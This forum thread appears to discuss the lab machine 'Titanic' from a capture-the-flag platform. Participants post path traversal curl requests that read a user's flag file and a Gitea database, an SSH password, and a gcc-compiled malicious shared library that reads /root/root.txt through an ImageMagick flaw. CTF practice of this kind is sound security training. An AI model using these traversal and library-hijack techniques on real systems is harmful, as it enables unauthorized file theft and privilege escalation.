[RedBlock]

userflag

curl --path-as-is -s -k "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/user.txt"
ssh creds for developer
developer : 25282528

Root!

cd /opt/app/static/assets/images
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /tmp/root.txt");
    exit(0);
}
EOF

cp entertainment.jpg root.jpg

cat /tmp/root.txt

[Phoka]

curl "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db

When there is nothing

the flask is the vuln 


you can read the root flag with it

---

https://github.com/ImageMagick/ImageMagi...-922v-phg8

[tesamarakai]

curl "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db

How did you find the gitea directory? I know why it's developer, but not why gitea

good question, would like someone to explain it to me to, like i could spend on this days machine but i would never gotten idea that there might be gitea directory in developer, are there any things which will make you think to check this gitea directory?

[haderachhh]

curl "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db

How did you find the gitea directory? I know why it's developer, but not why gitea

good question, would like someone to explain it to me to, like i could spend on this days machine but i would never gotten idea that there might be gitea directory in developer, are there any things which will make you think to check this gitea directory?

There was a subdomain dev.titanic.htb, it runs gitea on it

[hint80h]

EASY WRITEUP (user -> root)

Hidden Content

You must register or login to view this content.

[tesamarakai]

curl "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db

How did you find the gitea directory? I know why it's developer, but not why gitea

good question, would like someone to explain it to me to, like i could spend on this days machine but i would never gotten idea that there might be gitea directory in developer, are there any things which will make you think to check this gitea directory?

There was a subdomain dev.titanic.htb, it runs gitea on it

Thanks, i didnt check for subdomains and thought im just dumb

[spamdegratis5]

curl "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db

How did you find the gitea directory? I know why it's developer, but not why gitea

good question, would like someone to explain it to me to, like i could spend on this days machine but i would never gotten idea that there might be gitea directory in developer, are there any things which will make you think to check this gitea directory?

There is a subdomain running gitea. If you explore the server, there are two open repositories containing a repo with docker configuration and the source code of the app of titanic page. The docker config repository contains two directories, mysql and gitea, so you would think that the developer cloned these repositories/has a local copy. Both directories are present in developer home.

---
For root, take a look at the scripts in opt: check the version of the app and look it in google, you'll find a vulnerability that can be abused in very specific cases (this one), you can run any command (reverse shell), just follow the PoC in the github advisory.

[Paddon]

curl "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db

How did you find the gitea directory? I know why it's developer, but not why gitea

good question, would like someone to explain it to me to, like i could spend on this days machine but i would never gotten idea that there might be gitea directory in developer, are there any things which will make you think to check this gitea directory?

There is a subdomain running gitea. If you explore the server, there are two open repositories containing a repo with docker configuration and the source code of the app of titanic page. The docker config repository contains two directories, mysql and gitea, so you would think that the developer cloned these repositories/has a local copy. Both directories are present in developer home.

---
For root, take a look at the scripts in opt: check the version of the app and look it in google, you'll find a vulnerability that can be abused in very specific cases (this one), you can run any command (reverse shell), just follow the PoC in the github advisory.

I still don't get it. So we know there's a gitea in the dev's home directory with the docker-compose.yml file. But how do you get to the data/gitea/gitea.db is my question? There was no reference to it anywhere

[bananasplit345]

curl "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db

How did you find the gitea directory? I know why it's developer, but not why gitea

good question, would like someone to explain it to me to, like i could spend on this days machine but i would never gotten idea that there might be gitea directory in developer, are there any things which will make you think to check this gitea directory?

There is a subdomain running gitea. If you explore the server, there are two open repositories containing a repo with docker configuration and the source code of the app of titanic page. The docker config repository contains two directories, mysql and gitea, so you would think that the developer cloned these repositories/has a local copy. Both directories are present in developer home.

---
For root, take a look at the scripts in opt: check the version of the app and look it in google, you'll find a vulnerability that can be abused in very specific cases (this one), you can run any command (reverse shell), just follow the PoC in the github advisory.

I still don't get it. So we know there's a gitea in the dev's home directory with the docker-compose.yml file. But how do you get to the data/gitea/gitea.db is my question? There was no reference to it anywhere

Thinking about the same. Taking a look into gitea docs, the default file structure would be "gitea/data/gitea.db".

[akorshikai]

For root, if you run into the 

<stdin>:5:11: error: expected declaration specifiers or ‘...’ before ‘(’ token

it's a simple syntax error. Below is a copy/paste-able fix (assuming you're in the images directory per other posts): 

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    system("cat /root/root.txt > /tmp/root.txt");
    exit(0);
}
EOF